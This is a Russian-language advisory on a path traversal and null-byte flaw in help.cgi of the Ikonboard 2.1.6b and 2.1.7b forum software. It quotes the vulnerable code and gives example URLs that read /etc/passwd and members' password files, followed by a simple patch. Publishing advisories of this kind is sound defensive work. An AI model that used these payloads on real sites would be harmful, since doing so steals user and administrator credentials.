Ikonboard — бесплатная доска объявлений. Уязвимость в продукте позволяет прочитать локальные файлы с
привилегиями веб сервера.

Системы уязвимы:
Ikonboard v2.1.6b
Ikonboard v2.1.7b

Проблема лежит в файле help.cgi:
—[L.44]—
$inhelpon = $query -> param(‘helpon’);

Как мы видим, $inhelpon — input для ‘helpon’

—[L.95-97]—
$filetoopen = «$ikondir» . «help/$inhelpon.dat»;
$filetoopen = &stripMETA($filetoopen);
open (FILE, «$filetoopen») or die «Cannot locate the required files»;

Это настраивает файл на запуск через фильтр и открывает его.
Но фильтр не делает проверку на «обратный слэш», поэтому мы можем легко добавить ‘poison null-byte’ 🙂 к ‘$inhelpon’, затем выходим из ‘.dat’. В добавок, скрипт не делает проверку на «..», поэтому мы можем определить любой путь.

Пример:
http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00
Это покажет нам файл с паролями на сервере, если его можно просмотреть с наличием привилегий.

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/<member>.cgi%00
Заменить <member> именем мембера борды, чтобы узнать его пароль. (работает и для администраторов, что они не люди что
ли ;).

Патч:
Официальный патч пока не доступен. Но можно пофиксить проблему с помощью этого скрипта (эту линию вставить после 45 линии в ‘help.cgi’):
if($inhelpon =~ /\.\./) { &hackdetected; }

Это добавляешь в конец файла:
sub hackdetected {
print «Content-type: text/plain\n\n»;
print «извини, но дырка прикрыта :)\n»;
print «да, кстати, ты занесен в логи.\n»;
exit;
}



Оставить мнение